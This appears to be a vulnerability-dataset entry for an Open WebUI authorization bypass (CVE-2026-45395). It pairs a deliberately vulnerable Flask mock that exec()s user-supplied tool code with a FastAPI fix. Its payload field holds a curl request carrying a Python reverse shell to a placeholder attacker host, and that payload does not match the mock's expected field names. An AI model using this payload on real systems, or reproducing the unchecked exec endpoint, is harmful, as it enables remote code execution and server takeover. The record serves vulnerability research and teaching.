{"id":1901,"cve":"CVE-2026-45395","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-45395\/","cwe":"CWE-269","cwe_number":269,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/269","cvss_score":7.2,"published":"2026-05-15","owasp":"A01 Broken Access Control","odc":"Checking","cdc":"Missing Check","category":"Authentication, Authorization, and Session Management","subcategory":"Privilege Escalation","scope":"Remote","impact":"Arbitrary Code Execution","summary":"Open WebUI auth bypass on tool update allows unauthorized code execution.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-45395\/","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the tool update endpoint (POST \/api\/v1\/tools\/id\/{id}\/update) is missing the workspace.tools permission check that is present on the tool create endpoint. This allows a user who has been explicitly denied tool management capabilities ( and who the administrator considers untrusted for code execution ) to replace a tool's server-side Python content and trigger execution, bypassing the intended workspace.tools security boundary. This vulnerability is fixed in 0.9.5.","solution":"Upgrade to Open WebUI version 0.9.5 or later.","affected_component":"Open WebUI","fixed_by_upgrading":false,"vulnerable_code":"import os\nfrom functools import wraps\nfrom flask import Flask, request, jsonify\n\n# --- Mock User and Permission System ---\n\n# In a real app, this would come from a session or token\ndef get_current_user():\n    # This user is explicitly denied tool management capabilities\n    return {\"id\": \"user-2\", \"permissions\": [\"workspace.chat\", \"workspace.rag\"]}\n\n# A decorator to check for permissions\ndef require_permission(permission_name):\n    def decorator(f):\n        @wraps(f)\n        def decorated_function(*args, **kwargs):\n            user = get_current_user()\n            if permission_name not in user.get(\"permissions\", []):\n                return jsonify({\"error\": \"Forbidden: You don't have the required permission.\"}), 403\n            return f(*args, **kwargs)\n        return decorated_function\n    return decorator\n\n# --- Mock Database ---\nTOOLS_DB = {\n    \"1a2b3c\": {\n        \"id\": \"1a2b3c\",\n        \"name\": \"System Info Tool\",\n        \"content\": \"import os\\nprint(os.uname())\"\n    }\n}\n\n# --- Flask App ---\napp = Flask(__name__)\n\n# This endpoint is correctly protected.\n# It serves as a contrast to the vulnerable one.\n@app.route('\/api\/v1\/tools\/create', methods=['POST'])\n@require_permission('workspace.tools')\ndef create_tool():\n    # This code is never reached by the untrusted user\n    data = request.get_json()\n    tool_id = \"new-id-xyz\"\n    TOOLS_DB[tool_id] = {\"id\": tool_id, \"name\": data[\"name\"], \"content\": data[\"content\"]}\n    return jsonify(TOOLS_DB[tool_id]), 201\n\n# VULNERABLE ENDPOINT: Missing the permission check\n@app.route('\/api\/v1\/tools\/id\/<string:id>\/update', methods=['POST'])\ndef update_tool(id):\n    if id not in TOOLS_DB:\n        return jsonify({\"error\": \"Tool not found\"}), 404\n\n    data = request.get_json()\n    updated_tool_data = data.get(\"tool\")\n\n    if not updated_tool_data or \"content\" not in updated_tool_data:\n        return jsonify({\"error\": \"Invalid payload\"}), 400\n\n    # The vulnerability: An untrusted user can update the tool's code\n    TOOLS_DB[id][\"content\"] = updated_tool_data[\"content\"]\n    \n    # Simulate the dangerous execution of the updated code\n    print(f\"Executing updated code for tool {id}:\")\n    try:\n        exec(TOOLS_DB[id][\"content\"])\n    except Exception as e:\n        print(f\"Execution failed: {e}\")\n\n    return jsonify(TOOLS_DB[id]), 200\n\n# Example usage to demonstrate the vulnerability:\n# An attacker with the \"untrusted_user\" profile (without 'workspace.tools' permission)\n# can successfully send a POST request to \/api\/v1\/tools\/id\/1a2b3c\/update\n# with the following JSON body to execute arbitrary code:\n#\n# {\n#   \"tool\": {\n#     \"content\": \"import os; os.system('echo Vulnerability exploited > exploited.txt')\"\n#   }\n# }\n#\n# This request would be blocked on the \/api\/v1\/tools\/create endpoint,\n# but it succeeds on the update endpoint due to the missing check.","patched_code":"from fastapi import FastAPI, Depends, HTTPException, status\nfrom pydantic import BaseModel\nfrom typing import List, Annotated\n\n# --- Mock Models and User Authentication ---\n\nclass User(BaseModel):\n    id: str\n    permissions: List[str]\n\nclass ToolUpdate(BaseModel):\n    id: str\n    content: str # Represents the new Python code for the tool\n\n# In a real app, this user would be determined from an auth token.\n# Here we simulate two users for demonstration.\nCURRENT_USER = User(id=\"user_with_no_permissions\", permissions=[])\n# CURRENT_USER = User(id=\"admin_user\", permissions=[\"workspace.tools\"])\n\ndef get_current_user() -> User:\n    return CURRENT_USER\n\n# --- The Vulnerability Fix ---\n\napp = FastAPI()\n\n# This dependency function represents the security check that was missing.\ndef require_workspace_tools_permission(\n    current_user: Annotated[User, Depends(get_current_user)]\n):\n    \"\"\"\n    Checks if the current user has the 'workspace.tools' permission.\n    If not, it raises an HTTP 403 Forbidden error.\n    \"\"\"\n    if \"workspace.tools\" not in current_user.permissions:\n        raise HTTPException(\n            status_code=status.HTTP_403_FORBIDDEN,\n            detail=\"Operation requires 'workspace.tools' permission.\",\n        )\n\n@app.post(\"\/api\/v1\/tools\/id\/{id}\/update\")\nasync def update_tool(\n    id: str,\n    tool_update: ToolUpdate,\n    # The fix is to add a dependency that enforces the permission check.\n    # Before the fix, this `Depends` call was absent from this endpoint.\n    _: Annotated[None, Depends(require_workspace_tools_permission)],\n):\n    \"\"\"\n    Updates a tool's server-side content.\n    This endpoint is now secured and requires the 'workspace.tools' permission.\n    If the check in `require_workspace_tools_permission` fails, the code\n    in this function will not be executed.\n    \"\"\"\n    # Logic to update the tool in the database would go here.\n    print(f\"User '{CURRENT_USER.id}' successfully updated tool '{id}'.\")\n    return {\"status\": \"success\", \"message\": f\"Tool {id} has been updated.\"}\n\n# Example of another endpoint that was already correctly protected, for context.\n@app.post(\"\/api\/v1\/tools\/create\")\nasync def create_tool(\n    tool_update: ToolUpdate,\n    _: Annotated[None, Depends(require_workspace_tools_permission)],\n):\n    print(f\"User '{CURRENT_USER.id}' successfully created a new tool.\")\n    return {\"status\": \"success\", \"message\": \"Tool created.\"}","payload_needed":true,"payload":"```bash\ncurl -X POST http:\/\/your-open-webui-instance.com\/api\/v1\/tools\/id\/vulnerable_tool_id\/update \\\n-H \"Authorization: Bearer <user_token>\" \\\n-H \"Content-Type: application\/json\" \\\n-d '{\n  \"code\": \"import socket,os,pty;s=socket.socket();s.connect((\\\"ATTACKER_IP\\\", ATTACKER_PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\\\"\/bin\/sh\\\")\"\n}'\n```","payload_status":"available","published_fix":[],"references":null}